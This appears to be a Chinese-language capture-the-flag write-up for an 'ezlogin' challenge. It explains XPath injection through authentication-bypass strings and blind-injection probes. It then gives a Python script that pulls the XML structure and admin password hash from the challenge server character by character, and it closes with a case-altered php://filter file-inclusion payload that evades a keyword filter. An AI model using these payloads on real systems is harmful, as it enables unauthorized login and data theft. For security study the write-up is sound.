ezlogin
考點:xpath注入
xpath注入:https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/
這里稍微總結一下,例如有這樣一個xml:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>admin</username>
<password type="md5">0192023a7bbd73250516f069df18b500</password>
</user>
<user>
<id>2</id>
<username>jack</username>
<password type="md5">1d6c1e168e362bc0092f247399003a88</password>
</user>
<user>
<id>3</id>
<username>tony</username>
<password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
</user>
</users>
</root>
查詢語句為:
"/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
1.萬能密碼:admin' or '1,這樣被拼接為:
/root/users/user[username/text()='admin' or '1' and ...
由於xpath中沒有注釋,所以需要手動閉合單引號
或:admin'] | //* | //*[',意思是遍歷結點
2.盲注:
| ' or count(/)=1 or '1 | 判斷有幾個根節點 |
| ' or string-length(name(/*[1]))=1 or '1 | 獲取根節點長度 |
| ' or substring(name(/*[1]), 1, 1)='a' or '1 | 獲取內容 |
例如substring(/root/users/user[1]/password/text(),1,1)是取admin的第一位密碼

首先看一下能否盲注:' or count(/)=1 or '1

' or count(/)=2 or '1

可盲注,然后這里用了一個token,這個token很快就會過期,所以還需要正則匹配一下
import requests
import re
sess = requests.session()
strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890'
headers = {'Content-Type':'application/xml'}
param='<input type="hidden" id="token" value="(.*?)" />'
t=''
for i in range(1,50):
for s in strs:
url='http://ha1cyon-ctf.fun:30015/login.php'#注意加login.php
token=re.findall(param,sess.get(url).text)[0]
#第一個根節點為root
#data="<username>' or substring(name(/*[1]), '"+str(i)+"', 1)='"+str(s)+"' or '1</username><password>123</password><token>"+token+"</token>"
#第二個節點為accounts
#data = "<username>' or substring(name(/root/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
#第三個節點為user
#data = "<username>' or substring(name(/root/accounts/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
#遍歷[1][2][3],在user節點下得到id,username,password
#data = "<username>' or substring(name(/root/accounts/user/*[1]), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
#之后取user下的子節點username(user[1]),得到 gtfly123
#取第二個子節點user[2]結果是adm1n
data = "<username>' or substring(/root/accounts/user[2]/password/text(), '" + str(i) + "', 1)='" + str(s) + "' or '1</username><password>123</password><token>" + token + "</token>"
res=sess.post(url=url,headers=headers,data=data)
if '非法操作' in res.text:
t+=s
print(t)
break
最后可以判斷格式為:
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>
</accounts>
</root>
解密一下adm1n,gtfly123登陸后台,然后是一個文件包含,但返回結果不允許出現flag,並且過濾了php、base字符,可用大小寫繞過:
Php://filter/convert.Base64-encode/resource=/flag

